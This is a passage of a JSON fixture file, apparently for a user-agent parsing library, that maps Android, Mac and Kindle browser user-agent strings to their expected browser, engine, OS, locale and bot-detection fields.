"robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; LG-MS770 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (LG-MS770)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-S738C Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SCH-S738C)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T989 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SGH-T989)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SPH-D710)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; XT897 Build/7.7.1Q-6_SPR-89_ASA-36) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (XT897)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; EVO Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "beta" : ".30", "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android (EVO)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "major" : 5, "match" : [ "device", "android", "mobile", "safari", "webkit", "mobile_safari" ], "minor" : ".34", "os" : "android", "os_beta" : ".1", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "public_major" : "4", "public_minor" : ".0", "public_version" : 4, "version" : 5.34 }, "Mozilla/5.0 (Linux; U; Android 4.1.2; de-de; GT-I8190 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "DE", "device" : "android", "device_string" : "Android (GT-I8190)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "DE", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; ADR910L 4G Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "beta" : ".30", "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android (ADR910L 4G)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "major" : 5, "match" : [ "device", "android", "mobile", "safari", "webkit", "mobile_safari" ], "minor" : ".34", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "public_major" : "4", "public_minor" : ".0", "public_version" : 4, "version" : 5.34 }, "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; DROID RAZR Build/9.8.2O-72_VZW-16) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (DROID RAZR)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-D520 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (LG-D520)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I747 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SAMSUNG-SGH-I747)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I535 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SCH-I535)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SGH-T999)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T999L Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SGH-T999L)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; H920 Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "beta" : ".30", "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android (H920)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "major" : 5, "match" : [ "device", "android", "mobile", "safari", "webkit", "mobile_safari" ], "minor" : ".34", "os" : "android", "os_beta" : ".1", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "public_major" : "4", "public_minor" : ".0", "public_version" : 4, "version" : 5.34 }, "Mozilla/5.0 (Linux; U; Android 4.2.2; el-gr; U51GT_C4 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 GSA/4.2.16.87075793.arm" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "GR", "device" : "android", "device_string" : "Android (U51GT_C4)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EL", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.2.2; en-ie; GT-S7580 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 GSA/4.2.16.87075793.arm" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "IE", "device" : "android", "device_string" : "Android (GT-S7580)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; EDGE Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "beta" : ".30", "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android (EDGE)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "major" : 5, "match" : [ "device", "android", "mobile", "safari", "webkit", "mobile_safari" ], "minor" : ".34", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "public_major" : "4", "public_minor" : ".0", "public_version" : 4, "version" : 5.34 }, "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; H30-U10 Build/HuaweiH30-U10) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (H30-U10)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Lenovo A316i/S008) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "beta" : ".30", "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "major" : 5, "match" : [ "device", "android", "mobile", "safari", "webkit", "mobile_safari" ], "minor" : ".34", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "public_major" : "4", "public_minor" : ".0", "public_version" : 4, "version" : 5.34 }, "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SD4930UR Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.44 like Chrome/37.0.2026.117 Mobile Safari/537.36" : { "browser" : "silk", "browser_major" : "3", "browser_minor" : ".44", "browser_string" : "Silk", "country" : "US", "device" : "android", "device_string" : "Android (SD4930UR)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "silk", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Wildfire S A510e Build/CM10.1-Release-Candidate-v2.1; CyanogenMod-CM10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "beta" : ".30", "browser" : "safari", "browser_string" : "Mobile Safari", "device" : "android", "device_string" : "Android (Wildfire S A510e)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "major" : 5, "match" : [ "device", "android", "mobile", "safari", "webkit", "mobile_safari" ], "minor" : ".34", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "public_major" : "4", "public_minor" : ".0", "public_version" : 4, "version" : 5.34 }, "Mozilla/5.0 (Linux; U; Android 4.3; en-gb; GT-N7100 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "GB", "device" : "android", "device_string" : "Android (GT-N7100)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : "", "os_major" : "4", "os_minor" : ".3", "os_string" : "Android", "os_version" : "4.3", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.3; en-us; C6530N Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 GSA/3.4.16.1149292.arm" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (C6530N)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : "", "os_major" : "4", "os_minor" : ".3", "os_string" : "Android", "os_version" : "4.3", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.3; vi-vn; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 GSA/4.3.10.88581490.arm" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "VN", "device" : "android", "device_string" : "Android (GT-I9300)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "VI", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : "", "os_major" : "4", "os_minor" : ".3", "os_string" : "Android", "os_version" : "4.3", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LG-D800/D80020y Build/KOT49I.D80020y) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.2 Chrome/30.0.1599.103 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1599.103", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (LG-D800/D80020y)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LG-D851 Build/KVT49L.D85110r) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1847.118", "browser_major" : "34", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (LG-D851)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LGMS323 Build/KOT49I.MS32310c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1599.103", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (LGMS323)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SM-T210R Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "US", "device" : "android", "device_string" : "Android tablet (SM-T210R)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "tablet", "safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SPH-L710 Build/KOT49H) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.16" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SPH-L710)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "537.16", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SPH-L900 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SPH-L900)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; GT-I9500 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.0 QQ-Manager Mobile Safari/537.36" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "CN", "device" : "android", "device_string" : "Android (GT-I9500)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "ZH", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.3; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.54 like Chrome/44.0.2403.63 Mobile Safari/537.36" : { "browser" : "silk", "browser_beta" : ".54", "browser_major" : "44", "browser_minor" : ".1", "browser_string" : "Silk", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "match" : [ "device", "android", "kindlefire", "mobile", "silk", "webkit" ], "os" : "android", "os_beta" : ".3", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android" }, "Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFASWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.47 like Chrome/37.0.2026.117 Safari/537.36" : { "browser" : "silk", "browser_major" : "3", "browser_minor" : ".47", "browser_string" : "Silk", "country" : "US", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "tablet", "silk", "webkit", "kindlefire" ], "os" : "android", "os_beta" : ".3", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.47 like Chrome/37.0.2026.117 Safari/537.36" : { "browser" : "silk", "browser_major" : "3", "browser_minor" : ".47", "browser_string" : "Silk", "country" : "US", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "tablet", "silk", "webkit", "kindlefire" ], "os" : "android", "os_beta" : ".3", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; SM-G360P Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "country" : "US", "device" : "android", "device_string" : "Android (SM-G360P)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".30", "engine_string" : "WebKit", "engine_version" : "534.30", "language" : "EN", "match" : [ "device", "android", "mobile", "safari", "mobile_safari", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:35.0) Gecko/20100101 Firefox/35.0" : { "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "35", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "35.0", "major" : "35", "match" : [ "mac", "macosx", "firefox", "gecko" ], "minor" : ".0", "os" : "macosx", "os_beta" : "", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "public_major" : "35", "public_minor" : ".0", "public_version" : 35, "version" : 35 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 FirePHP/0.7.4" : { "browser" : "firefox", "browser_major" : "24", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "24", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "24.0", "match" : [ "mac", "macosx", "firefox", "gecko" ], "os" : "macosx", "os_beta" : "", "os_major" : "10", "os_minor" : ".8", "os_string" : "Mac OS X", "os_version" : "10.8", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0 (FlipboardProxy/1.1; +http://flipboard.com/browserproxy)" : { "browser" : "firefox", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "28", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "28.0", "match" : [ "firefox", "flipboard", "gecko", "mac", "macosx", "robot" ], "os" : "macosx", "os_beta" : "", "os_major" : "10", "os_minor" : ".9", "os_string" : "Mac OS X", "os_version" : "10.9", "robot" : "flipboard", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".1", "robot_string" : "Flipboard", "robot_version" : "1.1" }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "engine" : "webkit", "engine_beta" : ".5", "engine_major" : "600", "engine_minor" : ".2", "engine_string" : "WebKit", "engine_version" : "600.2", "match" : [ "mac", "macosx", "safari", "webkit" ], "os" : "macosx", "os_beta" : "", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2171.95", "browser_major" : "39", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".0", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1599.69", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "mac", "macosx", "chrome", "webkit" ], "os" : "macosx", "os_beta" : ".1", "os_major" : "10", "os_minor" : ".10", "os_string" : "Mac OS X", "os_version" : "10.10", "robot" : 0 }, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2171.99", "browser_major" : "39", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", 